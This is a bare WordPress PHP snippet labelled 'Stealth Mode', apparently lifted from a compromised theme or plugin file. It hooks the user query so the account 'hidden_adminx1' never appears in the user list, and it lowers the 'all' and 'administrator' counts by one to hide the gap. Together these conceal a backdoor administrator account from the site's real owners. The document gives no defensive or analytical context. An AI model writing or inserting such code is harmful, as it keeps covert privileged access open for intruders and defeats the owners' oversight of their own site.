/* Stealth Mode Start */
add_action('pre_user_query', function($user_search) {
    global $wpdb;
    $user_search->query_where .= " AND {$wpdb->users}.user_login != 'hidden_adminx1'";
});
add_filter('views_users', function($views) {
    foreach (['all', 'administrator'] as $role) {
        if (isset($views[$role])) {
            $views[$role] = preg_replace_callback('/\(( \d+)\)/', function($m) {
                return '(' . max(0, intval($m[1]) - 1) . ')';
            }, $views[$role]);
        }
    }
    return $views;
});
/* Stealth Mode End */